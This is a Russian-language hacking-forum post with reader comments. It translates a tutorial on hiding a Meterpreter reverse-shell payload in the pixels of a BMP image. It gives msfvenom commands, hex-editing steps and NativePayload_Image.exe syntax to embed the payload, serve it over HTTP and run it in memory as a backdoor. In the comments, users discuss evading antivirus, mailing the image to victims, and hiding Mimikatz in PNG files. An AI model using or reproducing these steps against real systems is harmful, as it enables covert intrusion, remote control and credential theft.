Статья Доставляем пейлоад через картинку

Привет привет codeby, сегодня я расскажу вам про то как спрятать payload в картинке. Меня кстати Ghost Pants зовут.
Данная статья является переводом с изменением данной статьи
Приступаем:
1521143093675.png

Это картинка, обычная совсем не подозрительная картинка.
1521143137436.png

А если приблизить? Мы видим наш пейлоад который размещён за пикселями картинки.
Для начало я хочу сказать о том как сделать это вручную без кода. Автор оригинальной статьи запостил свой код по этой ссылке DamonMohammadbagher/NativePayload_Image
Код за пикселями:
Код:
Pixel 1 = R(112) , G(255) , B(10)
Pixel 2 = R(192) , G(34) , B(84)
Pixel 3 = R(111) , G(0) , B(190)
Итак, у нас есть данные RGB пейлоады 112,255,10,192,34,84,111,0,190
Код:
Decimal == hex 112 == 70 255 == ff 10 == 0A 192 == C0 34 == 22 84 == 54 111 == 6F 0 == 00 190 == BE
Наши пейлоады заражены данным Meterpeter'ом 70FF0AC022546F00BE, как видно на картинке ниже у нас есть цвет и Hex code для каждой части пейлоада
1521143853063.png

Теперь вы знаете как и где можно поменять BMP файлы для создания инъекции.

Дальше мы рассмотрим как заразить BMP файл шаг за шагом:
Шаг1*урок информатики в начальной школе*: для начала мы создадим BMP файл в windows с помощью самого обычного пеинта
Примечание: данные шаги нужно выполнять ТОЛЬКО в Windows средствами MS Paint
Создаём пустой BMP файл с разрешением 700x2 пикселей
1521144154815.png

Сохраняем файл в 24-bit bitmap формате цветов.
Шаг2*Кааали*: в Kali linux нам нужно создать пейлоад которым мы будем инфицировать картинку
Вот команды:
Код:
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f c > payload.txt
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f num > payload.txt
Шаг3*Понеслась*: теперь мы будем заносить наш пейлоад созданный в пункте 2 в BMP файл созданный в пункте 1, делать это можно используя hexeditor в Kali или же "Hexeditor NEO" в винде.
На 5-ой по счёту картинке (она снова снизу) мы видим Hexeditor NEO с открытым BMP файлом
1521144523156.png

А на следующей картинке видно что у нас есть 3 пикселя с пейлоадами “70FF0A" "C02254" "6F00BE”
1521144595546.png

Сейчас вы увидите что происходит с BMP файлом когда мы меняем изображение
Чтобы это сделать, нужно отредактировать наш BMP (из первого шага) в Kali с hexeditor как мы делали ранее. Сейчас нужно закачать пейлоад в файл с помощью хекса, просто копипасти из офсета 36 от начала до конца. Офсет 36 это первый байт после BMP заголовка (заголовок это 54 байта).
1521145206897.png

На данной картинке заголовок выделен зелёным.
Примечание: перед тем как менять BM{ мы должны сменить формат пейлоада из “0xfc” в “fc”, пейлоад должен выглядеть примерно так: "+repavtorustaty.txt" и вставить его в битмап файл из офсета 36, процесс показан на картинках которые как всегда ниже.
1521145363928.png

Как видно на картине пейлоад начинается с “FC48” на картинке сверху и заканчивается на “FFD5” как на картинке снизу
1521145476109.png

Теперь сохраняем.
После данных манипуляций мы получим что-то похожее на это:
1521145708024.png

Мы видим битмап с большим количеством пикселей.
Теперь вопрос, как много пикселей нам нужно для создания пейлоада, если у нас 510 байтный пейлоад нам нужно 170 пиксель под пейлоады
Код:
510 Bytes payload , 3 is 1 byte for each : R + G + B ==> 1+1+1
510 / 3 = 170 Pixels
это формула по которой мы вычисляем количество нужных пикселей
1521146577897.png

После создания этого BMP файла нам нужно немножко кода для чтения пейлоадов из BMP файла.
Автор оригинала сделал код в C# для этой цели, код выполняется и записывает пейлоад в память создаваю шото похожее на бекдор.
С данным инструментом также можно сделать новый битмап файл или модифицировать уже существующий BMP и инжектить наш пейлоад.
Запускаем пейлоад из BMP файла с помощью "NativePayload_Image.exe" шаг за шагом:
Шаг1*я обленился*:если вы хотите увидеть NativePayload_Image синтаксис, мы должны запустить данный код без всяких переключений
1521147409175.png

С этим кодом вы сможете очень просто запустить сеанс для локальных BMP файлов.
Для бекдор мода с этим инструментом нужна эта строчка:
Код:
Syntax : NativePayload_Image.exe bitmap “filename.bmp” [Meterpreter_payload_Length] [Header_Length]
Syntax : NativePayload_Image.exe bitmap “filename.bmp”  510  54
1521147536497.png

Как видно на картинке мы смогли запустить сессию из локальных BMP файлов и “NewBitmaImge.bmp” это наш BMP.
Окей, мы рассмотрели как вручную создать битмап файлы с пейлоадом и также мы смогли запустить пейлоады из этих битмапов.
Данном случае бекдор и бмп файл должны быть в одной и той же директории , но мы можем использовать путь к бмп файлу.
Шаг2*scra pa pa*: создаём новый битмап файл с пейлоадом используя инструмент. В данном случае нам нужно создать пейлоад одной из этих команд:
Код:
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f c > payload.txt
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f num > payload.txt
Примечание: нам нужно заменить 0xfc , 0x48 , 0x83 “ на “fc,48,83, ...”
1521147946724.png

Теперь, как на картинке ниже мы должны создать новый битмап файл.
1521148000626.png

Теперь корректируем синтаксис
Код:
    Syntax : NativePayload_Image.exe create “Newfilename.bmp” [Meterpreter_payload]

    Syntax : NativePayload_Image.exe create “Newfilename.bmp” fc,48,83,....
Шаг3*BMP*: модифицируем BMP файл для загрузки в него пейлоада.
В данном случае нам нужен пейлоад и ещё один бмп файл для добавления в него пейлоада
1521148153550.png

Теперь используем модификацию синтаксиса
Код:
Syntax : NativePayload_Image.exe modify “Existfilename.bmp” [header_length] [Meterpreter_payload]
Syntax : NativePayload_Image.exe modify “Existfilename.bmp”  54  fc,48,83,....
Длина BMP заголовка всегда ровна 54
1521148214518.png

Как видно на картинке после модфикации этого файла мы видим что пиксели нашего метерпетера под чёрным фоном видны только при зуме в 300%. Теперь смотрим на картинку ниже, это модифицированный BMP файл и он хорошо работает.
Теперь мы будем использовать наш бип файл на вебсайт для скачивания через HTTP, окей, в данном случае мы будем юзать “MyBMP_to_Modify.bmp” и я буду использовать этот файл в веб сервере на кали с помощь питона
Код:
python -m SimpleHTTPServer
и наконец я получусессию на url как на следующей картинке. Для скачивания BMP используем следующий код
Код:
Syntax : NativePayload_Image.exe url “Url” [Meterpreter_payload_Length] [Header_Length]
Syntax : NativePayload_Image.exe url "https://192.168.59.2:8000/MyBMP_to_Modify.bmp"  510   54
1521148697932.png

Вот и всё. Удачи тебе %username%
 

Вложения

  • 1521143490595.png
    1521143490595.png
    29,2 КБ · Просмотры: 300
  • 1521145183624.png
    1521145183624.png
    73 КБ · Просмотры: 298
Добрый вечер.подскажите, а через почту если модифицированную картинку передать, она отработает? через тот же gmail.
 
Добрый вечер.подскажите, а через почту если модифицированную картинку передать, она отработает? через тот же gmail.
Сомнительно что человек знает, скорее всего даже не пробовал, ибо скрины с оригинальной статьи
 
  • Нравится
Реакции: ghostphisher
разобрано подробно, даже если не пробовал , время и труд вложил..главное что бы это работало.Тема интересная.
 
  • Нравится
Реакции: OneDollar
Вот я одного не пойму смысл всего этого если все равно исполняемый фаил нужно впарить. Зачем гемор с пайлодом в картинке, не проще ли тупо из исполняемого файла запустить полезную нагрузку в памяти? объясните нубу в чем сила юзать пайлод в картинке?
 
что то до боли знакомое)
да, видел твою статью, но всё же решил написатьна свой лад)
Вот я одного не пойму смысл всего этого если все равно исполняемый фаил нужно впарить. Зачем гемор с пайлодом в картинке, не проще ли тупо из исполняемого файла запустить полезную нагрузку в памяти? объясните нубу в чем сила юзать пайлод в картинке?
замаскировать пейлоад в картинке, картинка вызывает меньше подозрений чем какой-то там файл
разобрано подробно, даже если не пробовал , время и труд вложил..главное что бы это работало.Тема интересная.
если всё правильно сделать, то заработает, а если будут проблемы пишите сюда и мы коллективно решим проблему.
 
ТС вы осознаете что картинку можно повесить на хосте или передать с ее вместе с прогай которая ее прочтет и откроет бэкдор, я пытаюсь сказать что картинкой ты никого не заразишь) по любому нужно засылать файл и запускать процесс, хотя я пишу и думаю это реально) по сути
 
  • Нравится
Реакции: OneDollar и Bypass
ТС вы осознаете что картинку можно повесить на хосте или передать с ее вместе с прогай которая ее прочтет и откроет бэкдор, я пытаюсь сказать что картинкой ты никого не заразишь) по любому нужно засылать файл и запускать процесс, хотя я пишу и думаю это реально) по сути
Так получается что антивирус при таком раскладе не спалит наш пэйлоад?
 
Так получается что антивирус при таком раскладе не спалит наш пэйлоад?
ну да, если конечно антивирус не расшифровывает bmp и не аналиизирует каждый пиксель)
Так получается что антивирус при таком раскладе не спалит наш пэйлоад?
не палит
 
Последнее редактирование:
замаскировать пейлоад в картинке, картинка вызывает меньше подозрений чем какой-то там файл
так исполняемый фаил в комплекте с картинкой и вызовет подозрения
по мне проще заюзать любой скрипт чтобы подтянуть пайлоад или расшифровать его из тела скрипта и запустить, тем самым нет необходимости запуска exe что дает больший прирост даже на тех системах где стоят права на запуск исполняемых файлов.
 
Последнее редактирование:
ребятки не напрягайтесь мало того что Вам придется софт заслать жертве, при условии что картинка бут висеть гдето в инете и + к этому к всему Вам нужно заслать SOFT который будет его (софт) активировать) и открывать "заднюю дверь"
 
этот подход не тру, есть тру подход - peewpw/Invoke-PSImage
бомба - сама идея скрипта который вставляет байты сценария ps1 в пиксели png-изображения, наименее значимые 4 бита двух значений цвета в каждом пикселе используются для хранения полезной нагрузки. То есть по сути изображение страдает только насыщенностью цвета.
По словам автора, каждый пиксель изображения используется для хранения одного байта скрипта. Поэтому для полноценной работы инструмента необходимо подобрать изображение с тем же количеством пикселей, что и байтов в скрипте. Например, для PS-скрипта Invoke-Mimikatz подойдёт изображение с разрешением 1920×1200.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!